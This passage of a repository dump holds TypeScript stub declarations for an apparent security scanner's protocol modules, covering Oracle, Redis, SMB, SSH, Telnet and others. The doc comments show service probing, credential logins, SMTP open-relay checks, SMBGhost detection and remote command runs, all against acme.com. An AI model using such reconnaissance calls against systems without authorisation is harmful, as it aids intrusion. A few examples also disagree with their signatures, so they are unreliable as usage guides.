    "content": "\n\n/**\n * IsOracleResponse is the response from the IsOracle function.\n * this is returned by IsOracle function.\n * @example\n * ```javascript\n * const oracle = require('nuclei/oracle');\n * const client = new oracle.OracleClient();\n * const isOracle = client.IsOracle('acme.com', 1521);\n * ```\n */\nexport interface IsOracleResponse {\n    IsOracle?: boolean,\n    Banner?: string,\n}\n\n/**\n * Client is a client for Oracle database.\n * Internally client uses go-ora driver.\n * @example\n * ```javascript\n * const oracle = require('nuclei/oracle');\n * const client = new oracle.OracleClient();\n * ```\n */\nexport class OracleClient {\n    // Constructor of OracleClient\n    constructor() {}\n\n    /**\n     * Connect connects to an Oracle database\n     * @example\n     * ```javascript\n     * const oracle = require('nuclei/oracle');\n     * const client = new oracle.OracleClient();\n     * client.Connect('acme.com', 1521, 'XE', 'user', 'password');\n     * ```\n     */\n    public Connect(host: string, port: number, serviceName: string, username: string, password: string): boolean | null {\n        return null;\n    }\n\n    /**\n     * ConnectWithDSN connects to an Oracle database using a DSN string\n     * @example\n     * ```javascript\n     * const oracle = require('nuclei/oracle');\n     * const client = new oracle.OracleClient();\n     * client.ConnectWithDSN('oracle://user:password@host:port/service', 'SELECT @@version');\n     * ```\n     */\n    public ConnectWithDSN(dsn: string): boolean | null {\n        return null;\n    }\n\n    /**\n     * IsOracle checks if a host is running an Oracle server\n     * @example\n     * ```javascript\n     * const oracle = require('nuclei/oracle');\n     * const isOracle = oracle.IsOracle('acme.com', 1521);\n     * ```\n     */\n    public IsOracle(host: string, port: number): IsOracleResponse | null {\n        return null;\n    }\n\n    /**\n     * ExecuteQuery connects to Oracle database using given credentials and executes a query.\n     * It returns the results of the query or an error if something goes wrong.\n     * @example\n     * ```javascript\n     * const oracle = require('nuclei/oracle');\n     * const client = new oracle.OracleClient();\n     * const result = client.ExecuteQuery('acme.com', 1521, 'username', 'password', 'XE', 'SELECT * FROM dual');\n     * log(to_json(result));\n     * ```\n     */\n    public ExecuteQuery(host: string, port: number, username: string, password: string, dbName: string, query: string): SQLResult | null {\n        return null;\n    }\n\n    /**\n     * ExecuteQueryWithDSN executes a query on an Oracle database using a DSN\n     * @example\n     * ```javascript\n     * const oracle = require('nuclei/oracle');\n     * const client = new oracle.OracleClient();\n     * const result = client.ExecuteQueryWithDSN('oracle://user:password@host:port/service', 'SELECT * FROM dual');\n     * log(to_json(result));\n     * ```\n     */\n    public ExecuteQueryWithDSN(dsn: string, query: string): SQLResult | null {\n        return null;\n    }\n}\n\n/**\n * SQLResult Interface\n */\nexport interface SQLResult {\n    Count?: number,\n    Columns?: string[],\n    Rows?: any[],\n}\n"
  },
  {
    "path": "pkg/js/generated/ts/pop3.ts",
    "content": "\n\n/**\n * IsPOP3 checks if a host is running a POP3 server.\n * @example\n * ```javascript\n * const pop3 = require('nuclei/pop3');\n * const isPOP3 = pop3.IsPOP3('acme.com', 110);\n * log(toJSON(isPOP3));\n * ```\n */\nexport function IsPOP3(host: string, port: number): IsPOP3Response | null {\n    return null;\n}\n\n\n\n/**\n * IsPOP3Response is the response from the IsPOP3 function.\n * this is returned by IsPOP3 function.\n * @example\n * ```javascript\n * const pop3 = require('nuclei/pop3');\n * const isPOP3 = pop3.IsPOP3('acme.com', 110);\n * log(toJSON(isPOP3));\n * ```\n */\nexport interface IsPOP3Response {\n    \n    IsPOP3?: boolean,\n    \n    Banner?: string,\n}\n\n"
  },
  {
    "path": "pkg/js/generated/ts/postgres.ts",
    "content": "\n\n/**\n * PGClient is a client for Postgres database.\n * Internally client uses go-pg/pg driver.\n * @example\n * ```javascript\n * const postgres = require('nuclei/postgres');\n * const client = new postgres.PGClient;\n * ```\n */\nexport class PGClient {\n    \n\n    // Constructor of PGClient\n    constructor() {}\n    /**\n    * IsPostgres checks if the given host and port are running Postgres database.\n    * If connection is successful, it returns true.\n    * If connection is unsuccessful, it returns false and error.\n    * @example\n    * ```javascript\n    * const postgres = require('nuclei/postgres');\n    * const isPostgres = postgres.IsPostgres('acme.com', 5432);\n    * ```\n    */\n    public IsPostgres(host: string, port: number): boolean | null {\n        return null;\n    }\n    \n\n    /**\n    * Connect connects to Postgres database using given credentials.\n    * If connection is successful, it returns true.\n    * If connection is unsuccessful, it returns false and error.\n    * The connection is closed after the function returns.\n    * @example\n    * ```javascript\n    * const postgres = require('nuclei/postgres');\n    * const client = new postgres.PGClient;\n    * const connected = client.Connect('acme.com', 5432, 'username', 'password');\n    * ```\n    */\n    public Connect(host: string, port: number, username: string): boolean | null {\n        return null;\n    }\n    \n\n    /**\n    * ExecuteQuery connects to Postgres database using given credentials and database name.\n    * and executes a query on the db.\n    * If connection is successful, it returns the result of the query.\n    * @example\n    * ```javascript\n    * const postgres = require('nuclei/postgres');\n    * const client = new postgres.PGClient;\n    * const result = client.ExecuteQuery('acme.com', 5432, 'username', 'password', 'dbname', 'select * from users');\n    * log(to_json(result));\n    * ```\n    */\n    public ExecuteQuery(host: string, port: number, username: string): SQLResult | null | null {\n        return null;\n    }\n    \n\n    /**\n    * ConnectWithDB connects to Postgres database using given credentials and database name.\n    * If connection is successful, it returns true.\n    * If connection is unsuccessful, it returns false and error.\n    * The connection is closed after the function returns.\n    * @example\n    * ```javascript\n    * const postgres = require('nuclei/postgres');\n    * const client = new postgres.PGClient;\n    * const connected = client.ConnectWithDB('acme.com', 5432, 'username', 'password', 'dbname');\n    * ```\n    */\n    public ConnectWithDB(host: string, port: number, username: string): boolean | null {\n        return null;\n    }\n    \n\n}\n\n\n\n/**\n * SQLResult Interface\n */\nexport interface SQLResult {\n    \n    Count?: number,\n    \n    Columns?: string[],\n}\n\n"
  },
  {
    "path": "pkg/js/generated/ts/rdp.ts",
    "content": "/**\n * CheckRDPAuth checks if the given host and port are running rdp server\n * with authentication and returns their metadata.\n * If connection is successful, it returns true.\n * @example\n * ```javascript\n * const rdp = require('nuclei/rdp');\n * const checkRDPAuth = rdp.CheckRDPAuth('acme.com', 3389);\n * log(toJSON(checkRDPAuth));\n * ```\n */\nexport function CheckRDPAuth(host: string, port: number): CheckRDPAuthResponse | null {\n    return null;\n}\n\n/**\n * CheckRDPEncryption checks the RDP server's supported security layers and encryption levels.\n * It tests different protocols and ciphers to determine what is supported.\n * @example\n * ```javascript\n * const rdp = require('nuclei/rdp');\n * const encryption = rdp.CheckRDPEncryption('acme.com', 3389);\n * log(toJSON(encryption));\n * ```\n */\nexport function CheckRDPEncryption(host: string, port: number): RDPEncryptionResponse | null {\n    return null;\n}\n\n/**\n * IsRDP checks if the given host and port are running rdp server.\n * If connection is successful, it returns true.\n * If connection is unsuccessful, it returns false and error.\n * The Name of the OS is also returned if the connection is successful.\n * @example\n * ```javascript\n * const rdp = require('nuclei/rdp');\n * const isRDP = rdp.IsRDP('acme.com', 3389);\n * log(toJSON(isRDP));\n * ```\n */\nexport function IsRDP(host: string, port: number): IsRDPResponse | null {\n    return null;\n}\n\n/**\n * CheckRDPAuthResponse is the response from the CheckRDPAuth function.\n * this is returned by CheckRDPAuth function.\n * @example\n * ```javascript\n * const rdp = require('nuclei/rdp');\n * const checkRDPAuth = rdp.CheckRDPAuth('acme.com', 3389);\n * log(toJSON(checkRDPAuth));\n * ```\n */\nexport interface CheckRDPAuthResponse {\n    \n    PluginInfo?: ServiceRDP,\n    \n    Auth?: boolean,\n}\n\n/**\n * RDPEncryptionResponse is the response from the CheckRDPEncryption function.\n * This is returned by CheckRDPEncryption function.\n * @example\n * ```javascript\n * const rdp = require('nuclei/rdp');\n * const encryption = rdp.CheckRDPEncryption('acme.com', 3389);\n * log(toJSON(encryption));\n * ```\n */\nexport interface RDPEncryptionResponse {\n    // Security Layer Protocols\n    NativeRDP: boolean;\n    SSL: boolean;\n    CredSSP: boolean;\n    RDSTLS: boolean;\n    CredSSPWithEarlyUserAuth: boolean;\n    \n    // Encryption Levels\n    RC4_40bit: boolean;\n    RC4_56bit: boolean;\n    RC4_128bit: boolean;\n    FIPS140_1: boolean;\n}\n\n/**\n * IsRDPResponse is the response from the IsRDP function.\n * this is returned by IsRDP function.\n * @example\n * ```javascript\n * const rdp = require('nuclei/rdp');\n * const isRDP = rdp.IsRDP('acme.com', 3389);\n * log(toJSON(isRDP));\n * ```\n */\nexport interface IsRDPResponse {\n    \n    IsRDP?: boolean,\n    \n    OS?: string,\n}\n\n/**\n * ServiceRDP Interface\n */\nexport interface ServiceRDP {\n    \n    ForestName?: string,\n    \n    OSFingerprint?: string,\n    \n    OSVersion?: string,\n    \n    TargetName?: string,\n    \n    NetBIOSComputerName?: string,\n    \n    NetBIOSDomainName?: string,\n    \n    DNSComputerName?: string,\n    \n    DNSDomainName?: string,\n}\n\n"
  },
  {
    "path": "pkg/js/generated/ts/redis.ts",
    "content": "\n\n/**\n * Connect tries to connect redis server with password\n * @example\n * ```javascript\n * const redis = require('nuclei/redis');\n * const connected = redis.Connect('acme.com', 6379, 'password');\n * ```\n */\nexport function Connect(host: string, port: number, password: string): boolean | null {\n    return null;\n}\n\n\n\n/**\n * GetServerInfo returns the server info for a redis server\n * @example\n * ```javascript\n * const redis = require('nuclei/redis');\n * const info = redis.GetServerInfo('acme.com', 6379);\n * ```\n */\nexport function GetServerInfo(host: string, port: number): string | null {\n    return null;\n}\n\n\n\n/**\n * GetServerInfoAuth returns the server info for a redis server\n * @example\n * ```javascript\n * const redis = require('nuclei/redis');\n * const info = redis.GetServerInfoAuth('acme.com', 6379, 'password');\n * ```\n */\nexport function GetServerInfoAuth(host: string, port: number, password: string): string | null {\n    return null;\n}\n\n\n\n/**\n * IsAuthenticated checks if the redis server requires authentication\n * @example\n * ```javascript\n * const redis = require('nuclei/redis');\n * const isAuthenticated = redis.IsAuthenticated('acme.com', 6379);\n * ```\n */\nexport function IsAuthenticated(host: string, port: number): boolean | null {\n    return null;\n}\n\n\n\n/**\n * RunLuaScript runs a lua script on the redis server\n * @example\n * ```javascript\n * const redis = require('nuclei/redis');\n * const result = redis.RunLuaScript('acme.com', 6379, 'password', 'return redis.call(\"get\", KEYS[1])');\n * ```\n */\nexport function RunLuaScript(host: string, port: number, password: string, script: string): any | null {\n    return null;\n}\n\n"
  },
  {
    "path": "pkg/js/generated/ts/rsync.ts",
    "content": "\n\n/**\n * IsRsync checks if a host is running a Rsync server.\n * @example\n * ```javascript\n * const rsync = require('nuclei/rsync');\n * const isRsync = rsync.IsRsync('acme.com', 873);\n * log(toJSON(isRsync));\n * ```\n */\nexport function IsRsync(host: string, port: number): IsRsyncResponse | null {\n    return null;\n}\n\n/**\n * RsyncClient is a client for RSYNC servers.\n * Internally client uses https://github.com/gokrazy/rsync driver.\n * @example\n * ```javascript\n * const rsync = require('nuclei/rsync');\n * const client = new rsync.RsyncClient();\n * ```\n */\nexport class RsyncClient {\n    \n    // Constructor of RsyncClient\n    constructor() {}\n    \n    /**\n     * Connect establishes a connection to the rsync server with authentication.\n     * @example\n     * ```javascript\n     * const rsync = require('nuclei/rsync');\n     * const client = new rsync.RsyncClient();\n     * const connected = client.Connect('acme.com', 873, 'username', 'password', 'backup');\n     * ```\n     */\n    public Connect(host: string, port: number, username: string, password: string, module: string): boolean | null {\n        return null;\n    }\n    \n    /**\n     * ListModules lists available modules on the rsync server.\n     * @example\n     * ```javascript\n     * const rsync = require('nuclei/rsync');\n     * const client = new rsync.RsyncClient();\n     * const modules = client.ListModules('acme.com', 873, 'username', 'password');\n     * log(toJSON(modules));\n     * ```\n     */\n    public ListModules(host: string, port: number, username: string, password: string): string[] | null {\n        return null;\n    }\n    \n    /**\n     * ListFilesInModule lists files in a specific module on the rsync server.\n     * @example\n     * ```javascript\n     * const rsync = require('nuclei/rsync');\n     * const client = new rsync.RsyncClient();\n     * const files = client.ListFilesInModule('acme.com', 873, 'username', 'password', 'backup');\n     * log(toJSON(files));\n     * ```\n     */\n    public ListFilesInModule(host: string, port: number, username: string, password: string, module: string): string[] | null {\n        return null;\n    }\n}\n\n/**\n * IsRsyncResponse is the response from the IsRsync function.\n * this is returned by IsRsync function.\n * @example\n * ```javascript\n * const rsync = require('nuclei/rsync');\n * const isRsync = rsync.IsRsync('acme.com', 873);\n * log(toJSON(isRsync));\n * ```\n */\nexport interface IsRsyncResponse {\n    \n    IsRsync?: boolean,\n    \n    Banner?: string,\n}\n\n"
  },
  {
    "path": "pkg/js/generated/ts/smb.ts",
    "content": "\n\n/**\n * SMBClient is a client for SMB servers.\n * Internally client uses github.com/zmap/zgrab2/lib/smb/smb driver.\n * github.com/projectdiscovery/go-smb2 driver\n * @example\n * ```javascript\n * const smb = require('nuclei/smb');\n * const client = new smb.SMBClient();\n * ```\n */\nexport class SMBClient {\n    \n\n    // Constructor of SMBClient\n    constructor() {}\n    /**\n    * ConnectSMBInfoMode tries to connect to provided host and port\n    * and discovery SMB information\n    * Returns handshake log and error. If error is not nil,\n    * state will be false\n    * @example\n    * ```javascript\n    * const smb = require('nuclei/smb');\n    * const client = new smb.SMBClient();\n    * const info = client.ConnectSMBInfoMode('acme.com', 445);\n    * log(to_json(info));\n    * ```\n    */\n    public ConnectSMBInfoMode(host: string, port: number): SMBLog | null | null {\n        return null;\n    }\n    \n\n    /**\n    * ListSMBv2Metadata tries to connect to provided host and port\n    * and list SMBv2 metadata.\n    * Returns metadata and error. If error is not nil,\n    * state will be false\n    * @example\n    * ```javascript\n    * const smb = require('nuclei/smb');\n    * const client = new smb.SMBClient();\n    * const metadata = client.ListSMBv2Metadata('acme.com', 445);\n    * log(to_json(metadata));\n    * ```\n    */\n    public ListSMBv2Metadata(host: string, port: number): ServiceSMB | null | null {\n        return null;\n    }\n    \n\n    /**\n    * ListShares tries to connect to provided host and port\n    * and list shares by using given credentials.\n    * Credentials cannot be blank. guest or anonymous credentials\n    * can be used by providing empty password.\n    * @example\n    * ```javascript\n    * const smb = require('nuclei/smb');\n    * const client = new smb.SMBClient();\n    * const shares = client.ListShares('acme.com', 445, 'username', 'password');\n    * \tfor (const share of shares) {\n    * \t\t  log(share);\n    * \t}\n    * ```\n    */\n    public ListShares(host: string, port: number, user: string): string[] | null {\n        return null;\n    }\n    \n\n    /**\n    * DetectSMBGhost tries to detect SMBGhost vulnerability\n    * by using SMBv3 compression feature.\n    * If the host is vulnerable, it returns true.\n    * @example\n    * ```javascript\n    * const smb = require('nuclei/smb');\n    * const isSMBGhost = smb.DetectSMBGhost('acme.com', 445);\n    * ```\n    */\n    public DetectSMBGhost(host: string, port: number): boolean | null {\n        return null;\n    }\n    \n\n}\n\n\n\n/**\n * HeaderLog Interface\n */\nexport interface HeaderLog {\n    \n    ProtocolID?: Uint8Array,\n    \n    Status?: number,\n    \n    Command?: number,\n    \n    Credits?: number,\n    \n    Flags?: number,\n}\n\n\n\n/**\n * NegotiationLog Interface\n */\nexport interface NegotiationLog {\n    \n    SecurityMode?: number,\n    \n    DialectRevision?: number,\n    \n    ServerGuid?: Uint8Array,\n    \n    Capabilities?: number,\n    \n    SystemTime?: number,\n    \n    ServerStartTime?: number,\n    \n    AuthenticationTypes?: string[],\n    \n    HeaderLog?: HeaderLog,\n}\n\n\n\n/**\n * SMBCapabilities Interface\n */\nexport interface SMBCapabilities {\n    \n    DFSSupport?: boolean,\n    \n    Leasing?: boolean,\n    \n    LargeMTU?: boolean,\n    \n    MultiChan?: boolean,\n    \n    Persist?: boolean,\n    \n    DirLeasing?: boolean,\n    \n    Encryption?: boolean,\n}\n\n\n\n/**\n * SMBLog Interface\n */\nexport interface SMBLog {\n    \n    NTLM?: string,\n    \n    GroupName?: string,\n    \n    HasNTLM?: boolean,\n    \n    SupportV1?: boolean,\n    \n    NativeOs?: string,\n    \n    Version?: SMBVersions,\n    \n    Capabilities?: SMBCapabilities,\n    \n    NegotiationLog?: NegotiationLog,\n    \n    SessionSetupLog?: SessionSetupLog,\n}\n\n\n\n/**\n * SMBVersions Interface\n */\nexport interface SMBVersions {\n    \n    Major?: number,\n    \n    Minor?: number,\n    \n    Revision?: number,\n    \n    VerString?: string,\n}\n\n\n\n/**\n * ServiceSMB Interface\n */\nexport interface ServiceSMB {\n    \n    OSVersion?: string,\n    \n    NetBIOSComputerName?: string,\n    \n    NetBIOSDomainName?: string,\n    \n    DNSComputerName?: string,\n    \n    DNSDomainName?: string,\n    \n    ForestName?: string,\n    \n    SigningEnabled?: boolean,\n    \n    SigningRequired?: boolean,\n}\n\n\n\n/**\n * SessionSetupLog Interface\n */\nexport interface SessionSetupLog {\n    \n    SetupFlags?: number,\n    \n    TargetName?: string,\n    \n    NegotiateFlags?: number,\n    \n    HeaderLog?: HeaderLog,\n}\n\n"
  },
  {
    "path": "pkg/js/generated/ts/smtp.ts",
    "content": "\n\n/**\n * Client is a minimal SMTP client for nuclei scripts.\n * @example\n * ```javascript\n * const smtp = require('nuclei/smtp');\n * const client = new smtp.Client('acme.com', 25);\n * ```\n */\nexport class Client {\n    \n\n    // Constructor of Client\n    constructor(public host: string, public port: string ) {}\n    \n\n    /**\n    * IsSMTP checks if a host is running a SMTP server.\n    * @example\n    * ```javascript\n    * const smtp = require('nuclei/smtp');\n    * const client = new smtp.Client('acme.com', 25);\n    * const isSMTP = client.IsSMTP();\n    * log(isSMTP)\n    * ```\n    */\n    public IsSMTP(): SMTPResponse | null {\n        return null;\n    }\n    \n\n    /**\n    * IsOpenRelay checks if a host is an open relay.\n    * @example\n    * ```javascript\n    * const smtp = require('nuclei/smtp');\n    * const message = new smtp.SMTPMessage();\n    * message.From('xyz@projectdiscovery.io');\n    * message.To('xyz2@projectdiscoveyr.io');\n    * message.Subject('hello');\n    * message.Body('hello');\n    * const client = new smtp.Client('acme.com', 25);\n    * const isRelay = client.IsOpenRelay(message);\n    * ```\n    */\n    public IsOpenRelay(msg: SMTPMessage): boolean | null {\n        return null;\n    }\n    \n\n    /**\n    * SendMail sends an email using the SMTP protocol.\n    * @example\n    * ```javascript\n    * const smtp = require('nuclei/smtp');\n    * const message = new smtp.SMTPMessage();\n    * message.From('xyz@projectdiscovery.io');\n    * message.To('xyz2@projectdiscoveyr.io');\n    * message.Subject('hello');\n    * message.Body('hello');\n    * const client = new smtp.Client('acme.com', 25);\n    * const isSent = client.SendMail(message);\n    * log(isSent)\n    * ```\n    */\n    public SendMail(msg: SMTPMessage): boolean | null {\n        return null;\n    }\n    \n\n}\n\n\n\n/**\n * SMTPMessage is a message to be sent over SMTP\n * @example\n * ```javascript\n * const smtp = require('nuclei/smtp');\n * const message = new smtp.SMTPMessage();\n * message.From('xyz@projectdiscovery.io');\n * ```\n */\nexport class SMTPMessage {\n    \n\n    // Constructor of SMTPMessage\n    constructor() {}\n    /**\n    * From adds the from field to the message\n    * @example\n    * ```javascript\n    * const smtp = require('nuclei/smtp');\n    * const message = new smtp.SMTPMessage();\n    * message.From('xyz@projectdiscovery.io');\n    * ```\n    */\n    public From(email: string): SMTPMessage {\n        return this;\n    }\n    \n\n    /**\n    * To adds the to field to the message\n    * @example\n    * ```javascript\n    * const smtp = require('nuclei/smtp');\n    * const message = new smtp.SMTPMessage();\n    * message.To('xyz@projectdiscovery.io');\n    * ```\n    */\n    public To(email: string): SMTPMessage {\n        return this;\n    }\n    \n\n    /**\n    * Subject adds the subject field to the message\n    * @example\n    * ```javascript\n    * const smtp = require('nuclei/smtp');\n    * const message = new smtp.SMTPMessage();\n    * message.Subject('hello');\n    * ```\n    */\n    public Subject(sub: string): SMTPMessage {\n        return this;\n    }\n    \n\n    /**\n    * Body adds the message body to the message\n    * @example\n    * ```javascript\n    * const smtp = require('nuclei/smtp');\n    * const message = new smtp.SMTPMessage();\n    * message.Body('hello');\n    * ```\n    */\n    public Body(msg: Uint8Array): SMTPMessage {\n        return this;\n    }\n    \n\n    /**\n    * Auth when called authenticates using username and password before sending the message\n    * @example\n    * ```javascript\n    * const smtp = require('nuclei/smtp');\n    * const message = new smtp.SMTPMessage();\n    * message.Auth('username', 'password');\n    * ```\n    */\n    public Auth(username: string): SMTPMessage {\n        return this;\n    }\n    \n\n    /**\n    * String returns the string representation of the message\n    * @example\n    * ```javascript\n    * const smtp = require('nuclei/smtp');\n    * const message = new smtp.SMTPMessage();\n    * message.From('xyz@projectdiscovery.io');\n    * message.To('xyz2@projectdiscoveyr.io');\n    * message.Subject('hello');\n    * message.Body('hello');\n    * log(message.String());\n    * ```\n    */\n    public String(): string {\n        return \"\";\n    }\n    \n\n}\n\n\n\n/**\n * SMTPResponse is the response from the IsSMTP function.\n * @example\n * ```javascript\n * const smtp = require('nuclei/smtp');\n * const client = new smtp.Client('acme.com', 25);\n * const isSMTP = client.IsSMTP();\n * log(isSMTP)\n * ```\n */\nexport interface SMTPResponse {\n    \n    IsSMTP?: boolean,\n    \n    Banner?: string,\n}\n\n"
  },
  {
    "path": "pkg/js/generated/ts/ssh.ts",
    "content": "\n\n/**\n * SSHClient is a client for SSH servers.\n * Internally client uses github.com/zmap/zgrab2/lib/ssh driver.\n * @example\n * ```javascript\n * const ssh = require('nuclei/ssh');\n * const client = new ssh.SSHClient();\n * ```\n */\nexport class SSHClient {\n    \n\n    // Constructor of SSHClient\n    constructor() {}\n    /**\n    * SetTimeout sets the timeout for the SSH connection in seconds\n    * @example\n    * ```javascript\n    * const ssh = require('nuclei/ssh');\n    * const client = new ssh.SSHClient();\n    * client.SetTimeout(10);\n    * ```\n    */\n    public SetTimeout(sec: number): void {\n        return;\n    }\n    \n\n    /**\n    * Connect tries to connect to provided host and port\n    * with provided username and password with ssh.\n    * Returns state of connection and error. If error is not nil,\n    * state will be false\n    * @example\n    * ```javascript\n    * const ssh = require('nuclei/ssh');\n    * const client = new ssh.SSHClient();\n    * const connected = client.Connect('acme.com', 22, 'username', 'password');\n    * ```\n    */\n    public Connect(host: string, port: number, username: string): boolean | null {\n        return null;\n    }\n    \n\n    /**\n    * ConnectWithKey tries to connect to provided host and port\n    * with provided username and private_key.\n    * Returns state of connection and error. If error is not nil,\n    * state will be false\n    * @example\n    * ```javascript\n    * const ssh = require('nuclei/ssh');\n    * const client = new ssh.SSHClient();\n    * const privateKey = `-----BEGIN RSA PRIVATE KEY----- ...`;\n    * const connected = client.ConnectWithKey('acme.com', 22, 'username', privateKey);\n    * ```\n    */\n    public ConnectWithKey(host: string, port: number, username: string): boolean | null {\n        return null;\n    }\n    \n\n    /**\n    * ConnectSSHInfoMode tries to connect to provided host and port\n    * with provided host and port\n    * Returns HandshakeLog and error. If error is not nil,\n    * state will be false\n    * HandshakeLog is a struct that contains information about the\n    * ssh connection\n    * @example\n    * ```javascript\n    * const ssh = require('nuclei/ssh');\n    * const client = new ssh.SSHClient();\n    * const info = client.ConnectSSHInfoMode('acme.com', 22);\n    * log(to_json(info));\n    * ```\n    */\n    public ConnectSSHInfoMode(host: string, port: number): HandshakeLog | null | null {\n        return null;\n    }\n    \n\n    /**\n    * Run tries to open a new SSH session, then tries to execute\n    * the provided command in said session\n    * Returns string and error. If error is not nil,\n    * state will be false\n    * The string contains the command output\n    * @example\n    * ```javascript\n    * const ssh = require('nuclei/ssh');\n    * const client = new ssh.SSHClient();\n    * client.Connect('acme.com', 22, 'username', 'password');\n    * const output = client.Run('id');\n    * log(output);\n    * ```\n    */\n    public Run(cmd: string): string | null {\n        return null;\n    }\n    \n\n    /**\n    * Close closes the SSH connection and destroys the client\n    * Returns the success state and error. If error is not nil,\n    * state will be false\n    * @example\n    * ```javascript\n    * const ssh = require('nuclei/ssh');\n    * const client = new ssh.SSHClient();\n    * client.Connect('acme.com', 22, 'username', 'password');\n    * const closed = client.Close();\n    * ```\n    */\n    public Close(): boolean | null {\n        return null;\n    }\n    \n\n}\n\n\n\n/**\n * Algorithms Interface\n */\nexport interface Algorithms {\n    \n    Kex?: string,\n    \n    HostKey?: string,\n    \n    W?: DirectionAlgorithms,\n    \n    R?: DirectionAlgorithms,\n}\n\n\n\n/**\n * DirectionAlgorithms Interface\n */\nexport interface DirectionAlgorithms {\n    \n    Cipher?: string,\n    \n    MAC?: string,\n    \n    Compression?: string,\n}\n\n\n\n/**\n * EndpointId Interface\n */\nexport interface EndpointId {\n    \n    SoftwareVersion?: string,\n    \n    Comment?: string,\n    \n    Raw?: string,\n    \n    ProtoVersion?: string,\n}\n\n\n\n/**\n * HandshakeLog Interface\n */\nexport interface HandshakeLog {\n    \n    Banner?: string,\n    \n    UserAuth?: string[],\n    \n    ServerID?: EndpointId,\n    \n    ClientID?: EndpointId,\n    \n    ServerKex?: KexInitMsg,\n    \n    ClientKex?: KexInitMsg,\n    \n    AlgorithmSelection?: Algorithms,\n}\n\n\n\n/**\n * KexInitMsg Interface\n */\nexport interface KexInitMsg {\n    \n    KexAlgos?: string[],\n    \n    CiphersClientServer?: string[],\n    \n    MACsServerClient?: string[],\n    \n    LanguagesClientServer?: string[],\n    \n    CompressionClientServer?: string[],\n    \n    CompressionServerClient?: string[],\n    \n    Reserved?: number,\n    \n    MACsClientServer?: string[],\n    \n    /**\n    * fixed size array of length: [16]\n    */\n    \n    Cookie?: Uint8Array,\n    \n    ServerHostKeyAlgos?: string[],\n    \n    CiphersServerClient?: string[],\n    \n    LanguagesServerClient?: string[],\n    \n    FirstKexFollows?: boolean,\n}\n\n"
  },
  {
    "path": "pkg/js/generated/ts/structs.ts",
    "content": "\n\n/**\n * StructsPack returns a byte slice containing the values of msg slice packed according to the given format.\n * The items of msg slice must match the values required by the format exactly.\n * Ex: structs.pack(\"H\", 0)\n * @example\n * ```javascript\n * const structs = require('nuclei/structs');\n * const packed = structs.Pack('H', [0]);\n * ```\n */\nexport function Pack(formatStr: string, msg: any): Uint8Array | null {\n    return null;\n}\n\n\n\n/**\n * StructsCalcSize returns the number of bytes needed to pack the values according to the given format.\n * Ex: structs.CalcSize(\"H\")\n * @example\n * ```javascript\n * const structs = require('nuclei/structs');\n * const size = structs.CalcSize('H');\n * ```\n */\nexport function StructsCalcSize(format: string): number | null {\n    return null;\n}\n\n\n\n/**\n * StructsUnpack the byte slice (presumably packed by Pack(format, msg)) according to the given format.\n * The result is a []interface{} slice even if it contains exactly one item.\n * The byte slice must contain not less the amount of data required by the format\n * (len(msg) must more or equal CalcSize(format)).\n * Ex: structs.Unpack(\">I\", buff[:nb])\n * @example\n * ```javascript\n * const structs = require('nuclei/structs');\n * const result = structs.Unpack('H', [0]);\n * ```\n */\nexport function Unpack(format: string, msg: Uint8Array): any | null {\n    return null;\n}\n\n"
  },
  {
    "path": "pkg/js/generated/ts/telnet.ts",
    "content": "\n\n/**\n * IsTelnet checks if a host is running a Telnet server.\n * @example\n * ```javascript\n * const telnet = require('nuclei/telnet');\n * const isTelnet = telnet.IsTelnet('acme.com', 23);\n * log(toJSON(isTelnet));\n * ```\n */\nexport function IsTelnet(host: string, port: number): IsTelnetResponse | null {\n    return null;\n}\n\n/**\n * TelnetClient is a client for Telnet servers.\n * @example\n * ```javascript\n * const telnet = require('nuclei/telnet');\n * const client = new telnet.TelnetClient();\n * ```\n */\nexport class TelnetClient {\n    \n    /**\n     * Connect tries to connect to provided host and port with telnet.\n     * Optionally provides username and password for authentication.\n     * Returns state of connection. If the connection is successful,\n     * the function will return true, otherwise false.\n     * @example\n     * ```javascript\n     * const telnet = require('nuclei/telnet');\n     * const client = new telnet.TelnetClient();\n     * const connected = client.Connect('acme.com', 23, 'username', 'password');\n     * ```\n     */\n    public Connect(host: string, port: number, username: string, password: string): boolean {\n        return false;\n    }\n\n    /**\n     * Info gathers information about the telnet server including encryption support.\n     * Uses the telnetmini library's DetectEncryption helper function.\n     * WARNING: The connection used for detection becomes unusable after this call.\n     * @example\n     * ```javascript\n     * const telnet = require('nuclei/telnet');\n     * const client = new telnet.TelnetClient();\n     * const info = client.Info('acme.com', 23);\n     * log(toJSON(info));\n     * ```\n     */\n    public Info(host: string, port: number): TelnetInfoResponse | null {\n        return null;\n    }\n\n    /**\n     * GetTelnetNTLMInfo implements the Nmap telnet-ntlm-info.nse script functionality.\n     * This function uses the telnetmini library and SMB packet crafting functions to send\n     * MS-TNAP NTLM authentication requests with null credentials. It might work only on\n     * Microsoft Telnet servers.\n     * @example\n     * ```javascript\n     * const telnet = require('nuclei/telnet');\n     * const client = new telnet.TelnetClient();\n     * const ntlmInfo = client.GetTelnetNTLMInfo('acme.com', 23);\n     * log(toJSON(ntlmInfo));\n     * ```\n     */\n    public GetTelnetNTLMInfo(host: string, port: number): NTLMInfoResponse | null {\n        return null;\n    }\n}\n\n/**\n * IsTelnetResponse is the response from the IsTelnet function.\n * this is returned by IsTelnet function.\n * @example\n * ```javascript\n * const telnet = require('nuclei/telnet');\n * const isTelnet = telnet.IsTelnet('acme.com', 23);\n * log(toJSON(isTelnet));\n * ```\n */\nexport interface IsTelnetResponse {\n    \n    IsTelnet?: boolean,\n    \n    Banner?: string,\n}\n\n/**\n * TelnetInfoResponse is the response from the Info function.\n * @example\n * ```javascript\n * const telnet = require('nuclei/telnet');\n * const client = new telnet.TelnetClient();\n * const info = client.Info('acme.com', 23);\n * log(toJSON(info));\n * ```\n */\nexport interface TelnetInfoResponse {\n    \n    SupportsEncryption?: boolean,\n    \n    Banner?: string,\n    \n    Options?: { [key: number]: number[] },\n}\n\n/**\n * NTLMInfoResponse represents the response from NTLM information gathering.\n * This matches exactly the output structure from the Nmap telnet-ntlm-info.nse script.\n * @example\n * ```javascript\n * const telnet = require('nuclei/telnet');\n * const client = new telnet.TelnetClient();\n * const ntlmInfo = client.GetTelnetNTLMInfo('acme.com', 23);\n * log(toJSON(ntlmInfo));\n * ```\n */\nexport interface NTLMInfoResponse {\n    \n    /**\n     * Target_Name from script (target_realm in script)\n     */\n    TargetName?: string,\n    \n    /**\n     * NetBIOS_Domain_Name from script\n     */\n    NetBIOSDomainName?: string,\n    \n    /**\n     * NetBIOS_Computer_Name from script\n     */\n    NetBIOSComputerName?: string,\n    \n    /**\n     * DNS_Domain_Name from 